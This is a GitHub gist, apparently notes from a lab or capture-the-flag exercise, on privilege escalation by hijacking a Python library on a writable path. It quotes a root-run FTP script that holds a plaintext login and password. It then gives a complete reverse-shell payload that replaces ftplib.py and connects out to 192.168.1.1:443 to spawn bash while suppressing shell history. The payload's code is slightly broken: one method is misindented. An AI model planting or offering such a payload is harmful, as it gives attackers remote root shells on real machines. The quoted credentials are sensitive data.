Skip to content

Instantly share code, notes, and snippets.

@tanaka-geek
Last active April 24, 2021 15:21
Show Gist options
  • Save tanaka-geek/9f7b6d1847aa6a68f0c79468ed5c5b2f to your computer and use it in GitHub Desktop.
Save tanaka-geek/9f7b6d1847aa6a68f0c79468ed5c5b2f to your computer and use it in GitHub Desktop.
python library hijacking (writable)

Which/Where PATH are writable

these are the regular library path

>>> import sys
>>> print "\n".join(sys.path)
/usr/lib/python2.7
/usr/lib/python2.7/plat-x86_64-linux-gnu
/usr/lib/python2.7/lib-tk
/usr/lib/python2.7/lib-old
/usr/lib/python2.7/lib-dynload
/usr/local/lib/python2.7/dist-packages
/usr/lib/python2.7/dist-packages

also this works directly from shell

python -c 'import sys; print "\n".join(sys.path)'

Hijacking

now, let's have a look at what root user runs

import ftplib

ftp = ftplib.FTP('127.0.0.1')
ftp.login(user='hades', passwd='PTpZTfU4vxgzvRBE')

ftp.cwd('/srv/ftp/')

def upload():
    filename = '/opt/client/statuscheck.txt'
    ftp.storbinary('STOR '+filename, open(filename, 'rb'))
    ftp.quit()

upload()

given that this script import ftplib and its library is read from PATH which an attacker have access to write we can actually make our own library that will be rendered when it's executed.

this time we'll write to /usr/lib/python2.7/ftplib.py

this is a reverse shell.

import os
import pty
import socket

lhost = "192.168.1.1"
lport = 443

class ftp:
    def login(*args):
        return

    def cwd(*args):
        return

     def storbinary(*args):
        return

    def __init__(self, *args):
        return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()

when root user runs a script which reads a malicious library, reverse shell will be invoked.

a big shoutout to https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment